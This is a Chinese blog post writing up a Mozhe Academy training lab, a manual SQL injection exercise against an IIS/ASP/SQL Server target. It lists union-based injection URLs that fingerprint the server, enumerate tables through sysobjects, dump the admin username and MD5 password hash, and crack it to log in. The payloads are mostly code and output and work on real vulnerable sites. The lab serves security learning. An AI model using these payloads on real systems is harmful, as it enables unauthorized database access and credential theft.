SQL手工注入漏洞测试(Sql Server数据库)-墨者

2023-12-07 03:52

本文主要是介绍SQL手工注入漏洞测试(Sql Server数据库)-墨者,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Sql Server的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        还是老套路,测试注入点,利用sql语句去找到用户账号信息,这个b密码肯定又是md5加密,能不能来点新套路(抓脸.jpg)。

靶场启动!!!我的墨币啊┭┮﹏┭┮,望大佬点赞回血。

还是那个熟悉的界面,我们点进去关于平台停机维护的通知。

http://219.153.49.228:41966/new_list.asp?id=2

整型注入点吗?我们先找找Sql Server和MySQL数据库的区别。

SQL Server和MySQL数据库的区别如下:

  1. 平台支持:SQL Server主要支持Windows平台,而MySQL则支持许多平台,包括Linux和Windows平台。
  2. 语法:SQL Server的语法相对简单易用,而MySQL的语法则较为复杂。
  3. 存储引擎:MySQL有多种存储引擎可供选择,而SQL Server则仅使用一个或单个存储引擎。
  4. 备份方式:在使用MySQL时,开发人员必须通过将所有数据提取为SQL语句来备份数据。而SQL Server在备份数据时不会阻止数据库,这使得用户能够备份和恢复大量数据,而无需花费额外的时间和精力。
  5. 性能:SQL Server被视为大型数据库,稳定且能做一般大系统的数据仓库,运行速度明显比MySQL快(尤其是海量数据下)。
  6. 价格:SQL Server的价格相对较高,而MySQL是免费的。
  7. 可扩展性:MySQL在可扩展性方面表现得更好,它允许开发人员根据性能更灵活地为表使用存储引擎。
  8. 社区支持:MySQL有一个庞大的开发者社区,提供了大量的教程、论坛和资源,使得开发人员可以很容易地获取帮助和支持。相比之下,虽然SQL Server也有一个活跃的社区,但其开发者社区规模可能不如MySQL。

纯套话,《国产ai.jpg》,我们再找找Sql Server和MySQL数据库在进行sql注入测试时候的区别吧。搜完了感觉除了注释符号不一样,MSSQL(sql server) 最高权限是sa,其他的大差不差,问题不大,我们就按mysql的来,出现错误了我们再去改。


解题步骤:

        

        一、验证注入点

http://219.153.49.228:41966/new_list.asp?id=2

对id这个参数进行尝试

http://219.153.49.228:41966/new_list.asp?id=2 and 1=1

ok正常访问,试试这个

http://219.153.49.228:41966/new_list.asp?id=2 and 1=2

访问不正常了,那注入点就在这里啦(苍蝇搓手.jpg)


        二、order by猜列

http://219.153.49.228:41966/new_list.asp?id=-2 union order by 1,2,3,4

昂?我们去w3school里面找找有没有相关的注入语句。

哦哦哦哦哦,order by 不用联合注入,而且只能传入一个参数,给忘了。猜列的时候,发现只有1,2,4显示了页面,可能有四个列。


        三、检查回显

http://219.153.49.228:41966/new_list.asp?id=-2 union select 1,2,4

昂?这是怎么了?系统应该是检测这个字符的,我们用小葵转换一下编码试试。能行,但不完全行,我找找其他资料吧。ooo原来是语句不正确。

我们测回显用这个语句

http://219.153.49.228:48244/new_list.asp?id=-2 union all select null,'null','null',null

 我们去一个个给每个null加上单引号。

也可以用order by +number

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,2,'3',4

最后把3用字符串表示(加了个单引号)能正常回显。说明第二和第三列有回显,第二列是整型,第三列是字符型


        四、获取数据库信息

+++

@@version 获取版本信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@version,'3',4

        Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

+++

db_name()当前数据库名字

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,db_name(),'3',4

        mozhe_db_v2

+++

user、system_user、current_user、user_name获取当前数据库用户名

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,user,'3',4

        dbo

+++

@@SERVERNAME 获取服务器主机信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@SERVERNAME,'3',4

        MOBAN9527\SQLEXPRESS


        五、查数据库表信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

注入语句:top 1(查询前1条数据)+name(查name字段)+mozhe_db_v2.dbo.sysobjects(当前数据库.dbo.sysobjects系统自带用户)+xtype='U'(限定user信息,dbo用户创建的表)

查询到的是manage表,用and name not in看看还有没其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4

再看看有没有其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage','announcement')),'3',4

没有了。接下来就是根据查到的数据库表信息去查列的信息了。


        六、查数据库表信息

我们查到跟dbo有关的数据库表就是manage,announcement了。announcement替你们查过了,跟flag没关系。直接展示manage了。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回当前数据库用户创建的对像的ID。

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=-1 union all select 1,(select username from manage),'a',4

查询(object_id('manage'),1)(object_id('manage'),2)(object_id('manage'),3)返回的分别是id,username,password。


        七、查数据

直接从manage表中查就行。

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select username from manage),'a',4

admin_mz

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select password from manage),'a',4

72e1bfc3f01b7583

MD5解密后为97285101

登陆拿到KEY: mozhea025436360d9d78553ba4c4a754


总结:

        难度:★★★★☆☆☆☆☆☆

        解析:整体难度有点稍高,因为和mysql语法有点区别,查数据方式也不太一样。好在思路没啥出入。记录一下手工注入流程,提高对MSSQL数据库的理解。


这篇关于SQL手工注入漏洞测试(Sql Server数据库)-墨者的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/464397

相关文章

详解MySQL中DISTINCT去重的核心注意事项

《详解MySQL中DISTINCT去重的核心注意事项》为了实现查询不重复的数据,MySQL提供了DISTINCT关键字,它的主要作用就是对数据表中一个或多个字段重复的数据进行过滤,只返回其中的一条数据... 目录DISTINCT 六大注意事项1. 作用范围:所有 SELECT 字段2. NULL 值的特殊处

PostgreSQL数据库密码被遗忘时的操作步骤

《PostgreSQL数据库密码被遗忘时的操作步骤》密码遗忘是常见的用户问题,因此提供一种安全的遗忘密码找回机制是十分必要的,:本文主要介绍PostgreSQL数据库密码被遗忘时的操作步骤的相关资... 目录前言一、背景知识二、Windows环境下的解决步骤1. 找到PostgreSQL安装目录2. 修改p

MySQL 用户创建与授权最佳实践

《MySQL用户创建与授权最佳实践》在MySQL中,用户管理和权限控制是数据库安全的重要组成部分,下面详细介绍如何在MySQL中创建用户并授予适当的权限,感兴趣的朋友跟随小编一起看看吧... 目录mysql 用户创建与授权详解一、MySQL用户管理基础1. 用户账户组成2. 查看现有用户二、创建用户1. 基

MySQL 打开binlog日志的方法及注意事项

《MySQL打开binlog日志的方法及注意事项》本文给大家介绍MySQL打开binlog日志的方法及注意事项,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要... 目录一、默认状态二、如何检查 binlog 状态三、如何开启 binlog3.1 临时开启(重启后失效)

SQL BETWEEN 语句的基本用法详解

《SQLBETWEEN语句的基本用法详解》SQLBETWEEN语句是一个用于在SQL查询中指定查询条件的重要工具,它允许用户指定一个范围,用于筛选符合特定条件的记录,本文将详细介绍BETWEEN语... 目录概述BETWEEN 语句的基本用法BETWEEN 语句的示例示例 1:查询年龄在 20 到 30 岁

MySQL DQL从入门到精通

《MySQLDQL从入门到精通》通过DQL,我们可以从数据库中检索出所需的数据,进行各种复杂的数据分析和处理,本文将深入探讨MySQLDQL的各个方面,帮助你全面掌握这一重要技能,感兴趣的朋友跟随小... 目录一、DQL 基础:SELECT 语句入门二、数据过滤:WHERE 子句的使用三、结果排序:ORDE

MySQL MCP 服务器安装配置最佳实践

《MySQLMCP服务器安装配置最佳实践》本文介绍MySQLMCP服务器的安装配置方法,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录mysql MCP 服务器安装配置指南简介功能特点安装方法数据库配置使用MCP Inspector进行调试开发指

mysql中insert into的基本用法和一些示例

《mysql中insertinto的基本用法和一些示例》INSERTINTO用于向MySQL表插入新行,支持单行/多行及部分列插入,下面给大家介绍mysql中insertinto的基本用法和一些示例... 目录基本语法插入单行数据插入多行数据插入部分列的数据插入默认值注意事项在mysql中,INSERT I

一文详解MySQL如何设置自动备份任务

《一文详解MySQL如何设置自动备份任务》设置自动备份任务可以确保你的数据库定期备份,防止数据丢失,下面我们就来详细介绍一下如何使用Bash脚本和Cron任务在Linux系统上设置MySQL数据库的自... 目录1. 编写备份脚本1.1 创建并编辑备份脚本1.2 给予脚本执行权限2. 设置 Cron 任务2

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名